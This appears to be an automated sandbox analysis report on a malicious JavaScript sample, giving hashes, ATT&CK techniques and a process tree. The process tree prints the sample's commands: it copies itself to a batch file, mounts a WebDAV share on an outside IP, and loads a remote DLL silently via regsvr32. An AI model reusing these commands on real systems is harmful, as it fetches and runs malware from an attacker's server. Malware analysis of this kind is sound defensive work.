8484d0ed474257524be52f0f36b08d59c41aa145ca2641b2190dc01714876593

Analysis

max time kernel
94s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
11-07-2024 10:07

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General

Target

7251917789216994.js
Size

5KB
MD5

e9ba8f97cdbcf9d71ee30d92d5b4b773
SHA1

d5e0449ac912845a1bacce1e0c0317453b1af5e8
SHA256

8484d0ed474257524be52f0f36b08d59c41aa145ca2641b2190dc01714876593
SHA512

026fa58e08f5e8096fb5fd5dbb26efeefc8ce11619b46e074ddb586119817d8796b78652a5cacb7676d2bc165b6acb11cdd55067f2a40c26f9745e18eb463217
SSDEEP

96:t7P2pY4DAIo53FqGb53AQ4AW8223VcY3LorkZoe:tqpY4LPa2wcrkme

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1340 wrote to memory of 1480	1340	wscript.exe	83
PID 1340 wrote to memory of 1480	1340	wscript.exe	83
PID 1480 wrote to memory of 3520	1480	cmd.exe	85
PID 1480 wrote to memory of 3520	1480	cmd.exe	85
PID 1480 wrote to memory of 3016	1480	cmd.exe	87
PID 1480 wrote to memory of 3016	1480	cmd.exe	87

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\7251917789216994.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\7251917789216994.js" "C:\Users\Admin\\tbopzt.bat" && "C:\Users\Admin\\tbopzt.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1480
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:3520
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\966.dll
    3⤵
    PID:3016

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\tbopzt.bat

Filesize
5KB

MD5
e9ba8f97cdbcf9d71ee30d92d5b4b773

SHA1
d5e0449ac912845a1bacce1e0c0317453b1af5e8

SHA256
8484d0ed474257524be52f0f36b08d59c41aa145ca2641b2190dc01714876593

SHA512
026fa58e08f5e8096fb5fd5dbb26efeefc8ce11619b46e074ddb586119817d8796b78652a5cacb7676d2bc165b6acb11cdd55067f2a40c26f9745e18eb463217

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